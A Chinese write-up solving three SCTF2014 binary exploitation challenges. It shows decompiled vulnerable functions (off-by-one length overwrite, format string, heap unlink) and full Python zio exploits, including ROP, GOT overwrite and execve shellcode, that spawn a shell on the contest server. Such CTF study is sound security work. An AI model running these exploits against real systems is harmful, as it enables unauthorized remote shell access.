SCTF2014之PWN部分writeup

in writeups

PWN200

漏洞分析

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pwn200: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   pwn200

只启用了NX 接下来分析程序，程序很简单

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ssize\_t \_\_cdecl sub_80484AC()
{
  ssize_t result; // eax@3
  char v1; // \[sp+1Ch\] \[bp-9Ch\]@1
  int buf; // \[sp+9Ch\] \[bp-1Ch\]@1
  int v3; // \[sp+A0h\] \[bp-18h\]@1
  int v4; // \[sp+A4h\] \[bp-14h\]@1
  int v5; // \[sp+A8h\] \[bp-10h\]@1
  size_t n; // \[sp+ACh\] \[bp-Ch\]@1
  n = 16;
  buf = 0;
  v3 = 0;
  v4 = 0;
  v5 = 0;
  memset(&v1, 0, 0x80u);
  write(1, "input name:", 12u);
  read(0, &buf, n + 1);         //读取17个字符到buf，存在一个字节的溢出，修改n的值
  if ( strlen((const char *)&buf) - 1 > 9 || strncmp("syclover", (const char *)&buf, 8u) )
  {
    result = -1;
  }
  else
  {
    write(1, "input slogan:", 14u);
    read(0, &v1, n);        //n值被修改后溢出v1
    result = write(1, &v1, n);
  }
  return result;
}

程序在read到buf时多读了一个字符，导致溢出修改n的值，之后read到v1时导致溢出控制程序流程。

漏洞利用

第一步先写入”sycloverx00x00123456xef”，其中xef就是覆盖变量n的字节。 之后程序调用read(0, &v1, n);时就可以读入payload 因为NX，所以采用ROP链执行。 题目提供了glibc.so，所以思路是先读取plt中__libc_start_main的地址，通过提供的glibc.so获取到system和__libc_start_main的偏移差计算出system的位置。

0003f430 w DF .text 0000008d GLIBC_2.0 system
000193e0 g DF .text 000001c2 GLIBC_2.0 __libc_start_main

地址偏移为 0x26050 之后将其写入.plt中__libc_start_main的位置。最后通过执行.got中__libc_start_main并置入参数sh来执行system(“sh”)获得shell。 exploit如下

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'''
SCTF2014 pwn200 exp
yuf4n
'''
from zio import *
import struct
write_got = l32(0x080483A0)
read_got = l32(0x08048360)
lib\_main\_got = l32(0x08048390)
lib\_main\_plt = l32(0x0804985C)
ppppr = l32(0x08048645)
pppr = l32(0x08048646)
ppr = l32(0x080485bf)
\# io = zio('./pwn200',print_write=COLORED(REPR))
io = zio(('218.2.197.248',10001),print_write=COLORED(REPR))
payload0 = ''
payload0 += 'sycloverx00x00123456'+'xef' # second write len
payload1 = ''
\# second write
\# junk
payload1 += '1' * 0x9c
\# ebp
payload1 += '2345'
\# eip call write
payload1 += write_got
\# pppr
payload1 += pppr
\# write args
payload1 += l32(0x1)
payload1 += lib\_main\_plt
payload1 += l32(0x04)
\# read modify libmainplt
payload1 += read_got
\# pppr
payload1 += pppr
\# args
payload1 += l32(0x0)
payload1 += lib\_main\_plt
payload1 += l32(0x08) 
\# lib_main(system)
payload1 += lib\_main\_got
payload1 += '1111'
payload1 += l32(0x0804985C+0x4)
\# print len(payload1)
io.read_until('input name:')
io.write(payload0)
io.read_until('input slogan:')
io.write(payload1)
buf = io.sock.recv(1024)
lib\_main\_add = struct.unpack('<I',buf\[-4:\])\[0\]
system\_add = lib\_main_add + 0x26050
print hex(lib\_main\_add)
\# io.gdb_hint()
payload2 = l32(system_add)
payload2 += 'shx00x00'
io.write(payload2+'n')
io.interact()

flag SCTF{SH3NG_4_KAN_DAN__BU_FU_9_GANN}

PWN300

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pwn300: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   pwn300

题目也提供了glibc，而且pwn200进去以后发现三题都在一个服务器上。所以目测利用方法应该相似。

漏洞分析

在第三个功能显示message发现一个格式化溢出漏洞

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int \_\_cdecl fun3\_sub_80487FA()
{
  int result; // eax@1
  char dest; // \[sp+1Ch\] \[bp-40Ch\]@1
  int v2; // \[sp+41Ch\] \[bp-Ch\]@1
  v2 = *MK\_FP(\_\_GS__, 20);
  strcpy(&dest, src);
  printf("Your message is:");
  printf(src);                                  // exploit
  result = *MK\_FP(\_\_GS__, 20) ^ v2;
  if ( *MK\_FP(\_\_GS__, 20) != v2 )
    \_\_stack\_chk_fail();
  return result;
}

而且之前还很配合的把src的内容复制到栈里。。。这样就有机会对任意地址进行修改

漏洞利用

利用格式化溢出漏洞可以对内存读取写入，所以可以利用pwn200的利用方式：读取PLT中__libc_main_start的地址，通过libc.so计算system的地址写入程序之后可能会用到的函数的GOT 通过调试发现输入buf的起点位于printf调用的第七个变量 读取.plt __libc_main_start的payload ‘x28x91x04x08%7$sn’ 接下来找一个接下来可能调用到的函数修改其PLT为system函数的地址。这个函数最好可以把“sh”作为参数放进去。于是我选择了memset函数 他在第二个功能中被用到，而且正好把src当参数调用，这样我们通过留言功能让src为”sh”就能调用system(“sh”)了。

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int \_\_cdecl fun2\_sub_80487B6()
{
  puts("input your message");
  memset(src, 0, 0x400u);
  return readbuf\_sub\_804866D((int)src, 1024);
}

下面是exploit，修改地址的时候利用了libformatstr库

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'''
SCTF2014 pwn300 exploit
yuf4n
'''
from libformatstr import *
from zio import *
import struct
\# io = zio('./pwn300',print_write=COLORED(REPR))
io = zio(('218.2.197.248',10002),print_write=COLORED(REPR))
memset\_plt\_addr = 0x08049130
p = FormatStr()
payload\_leak\_lib_main = 'x28x91x04x08%7$sn'
\# read \_\_lib\_main_start plt
io.read_until('your choice:')
io.write('2n')
io.read_until('your message')
io.write(payload\_leak\_lib_main)
io.read_until('your choice:')
io.write('3n')
io.read_until('message is:')
buf = io.read(8)
buf = buf\[-4:\]
systemaddr = struct.unpack('<I',buf)\[0\] + 0x26050
print 'SYSADDR',hex(systemaddr)
\# write  memset_plt
p\[memset\_plt\_addr\] = systemaddr
payload = p.payload(7, start_len=0) + 'n'
\# io.gdb_hint()
io.read_until('your choice:')
io.write('2n')
io.read_until('your message')
io.write(payload)
io.write('3n')
\# set src=sh and call memset
io.read_until('your choice:')
io.write('2n')
io.read_until('message')
io.write('shn')
io.read_until('your choice:')
io.write('2n')
io.read_until('message')
io.write('shn')
io.interact()

flag SCTF{ZQzq2617}

PWN400

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pwn400: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        Canary found      NX disabled   No PIE          No RPATH   No RUNPATH   pwn400

这个NX都没有。

漏洞分析

程序是一个类似便签的功能。 每个note是用malloc申请的，用双向链表链接起来，目测是某个同学的C语言小作业吧。。 3号功能可以显示note空间的的首地址。 在4号功能修改note的功能发现一个堆溢出的漏洞

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int \_\_cdecl fun4\_sub_8048D09(int a1)
{
  size_t v1; // eax@4
  int result; // eax@8
  int v3; // \[sp+28h\] \[bp-410h\]@1
  char buf; // \[sp+2Ch\] \[bp-40Ch\]@1
  int v5; // \[sp+42Ch\] \[bp-Ch\]@1
  v5 = *MK\_FP(\_\_GS__, 20);
  memset(&buf, 0, 0x400u);
  v3 = a1;
  if ( a1 )
  {
    write(1, "note title:", 0xBu);
    read(0, &buf, 0x400u);
    while ( v3 )
    {
      v1 = strlen(&buf);
      if ( !strncmp(&buf, (const char *)(v3 + 12), v1) )
        break;
      v3 = *(_DWORD *)(v3 + 8);
    }
    write(1, "input content:", 0xEu);
    read(0, &buf, 0x400u);
    strcpy((char *)(v3 + 108), &buf);           // exploit
    write(1, "succeed!", 8u);
    puts((const char *)(v3 + 108));
  }
  else
  {
    write(1, "no notes", 8u);
  }
  result = *MK\_FP(\_\_GS__, 20) ^ v5;
  if ( *MK\_FP(\_\_GS__, 20) != v5 )
    \_\_stack\_chk_fail();
  return result;
}

在5号功能删除note的功能发现一个类似dwrod shoot的漏洞

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int \_\_cdecl sub\_8048E99(int a1)
{
  int v1; // ST28_4@8
  int v2; // ST2C_4@8
  int result; // eax@10
  __int32 ptr; // \[sp+24h\] \[bp-24h\]@3
  int buf; // \[sp+32h\] \[bp-16h\]@1
  int v6; // \[sp+36h\] \[bp-12h\]@1
  __int16 v7; // \[sp+3Ah\] \[bp-Eh\]@1
  int v8; // \[sp+3Ch\] \[bp-Ch\]@1
  v8 = *MK\_FP(\_\_GS__, 20);
  buf = 0;
  v6 = 0;
  v7 = 0;
  if ( *(_DWORD *)a1 )
  {
    write(1, "note location:", 0xEu);
    read(0, &buf, 8u);
    ptr = strtol((const char *)&buf, 0, 16);
    if ( *(_DWORD *)ptr == ptr )
    {
      if ( *(_DWORD *)a1 == ptr )
      {
        *(\_DWORD *)a1 = *(\_DWORD *)(*(_DWORD *)a1 + 8);
      }
      else
      {
        if ( *(_DWORD *)(ptr + 8) )
        {
          v1 = *(_DWORD *)(ptr + 8);
          v2 = *(_DWORD *)(ptr + 4);
          *(_DWORD *)(v2 + 8) = v1;             // dword shoot
          *(_DWORD *)(v1 + 4) = v2;
        }
        else
        {
          *(\_DWORD *)(*(\_DWORD *)(ptr + 4) + 8) = 0;
        }
      }
      write(1, "succeed!nn", 0xAu);
      free((void *)ptr);
    }
  }
  else
  {
    write(1, "no notes", 8u);
  }
  result = *MK\_FP(\_\_GS__, 20) ^ v8;
  if ( *MK\_FP(\_\_GS__, 20) != v8 )
    \_\_stack\_chk_fail();
  return result;
}

例如ptr = &note (note空间的基地址) 则可以进行 [ [ptr+4]+8 ] = [prt+8] [ [ptr+8]+4 ] = [ptr+4]

漏洞利用

思路是通过堆溢出漏洞可以覆盖到另外一个note的ptr+4 和 ptr+8。 之后利用这个dword shoot修改即将要调用的函数的plt到shellcode处。 shellcode前面要加一些nop，因为dword shoot的副作用会修改到shellcode。 具体操作：

  1. 新建3个note，我把shellcode放在第三个note的content里
  2. 查看他们的地址
  3. 溢出第一个note
  4. 删除第二个note，通过dword shoot修改write函数的plt为shellcode位置（有试过修改其他函数的，发现修改write可以成功。）
  5. 程序在dword shoot之后就有一个write调用，即进入shellcode

exploit如下

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'''
SCTF2014 pwn400 exploit
yuf4n
'''
from zio import *
import struct
\# io = zio('./pwn400', print_write=COLORED(REPR), timeout=80000)
io = zio(('218.2.197.248',10003),print_write=COLORED(REPR))
exit_plt = 0x0804A46C
free_plt =0x0804A450
write_plt =0x0804A478
shellcode = "x90"*16+"x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
io.read_until('option--->>')
io.write('1n')
io.read_until('note title:')
io.write('1n')
io.read_until('note type:')
io.write('1n')
io.read_until('note content:')
io.write('1n')
io.read_until('option--->>')
io.write('1n')
io.read_until('note title:')
io.write('2n')
io.read_until('note type:')
io.write('2n')
io.read_until('note content:')
io.write('2n')
io.read_until('option--->>')
io.write('1n')
io.read_until('note title:')
io.write('3n')
io.read_until('note type:')
io.write('3n')
io.read_until('note content:')
io.write(shellcode+'n')
io.read_until('option--->>')
io.write('3n')
io.read_until('note title:')
io.write('3n')
buf = io.read_until('option--->>')
addr_3 = buf\[buf.find('location:0x')+len('location:0x'):buf.find('location:0x')+len('location:0x')+8\]
io.write('3n')
io.read_until('note title:')
io.write('2n')
buf = io.read_until('option--->>')
addr_2 = buf\[buf.find('location:0x')+len('location:0x'):buf.find('location:0x')+len('location:0x')+8\]
payload = '1'*0x100
payload += '2222'
\# addr2
payload += l32(int(addr_2,16))
\# ptr+4
payload += l32(write_plt-0x8)
\# ptr+8
payload += l32(int(addr_3,16)+108)
payload += 'efghijklmn'
io.write('4n')
io.read_until('title:')
io.write('1n')
io.read_until('content:')
io.write(payload+'n')
io.read_until('option--->>')
io.write('5n')
\# io.gdb_hint()
io.read_until('location:')
io.write(addr_2+'n')
io.interact()

flag SCTF{2318540E78446A0E84EF69685092F0C3}

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Eadom

NO PWN NO FUN


@Alibaba


Hangzhou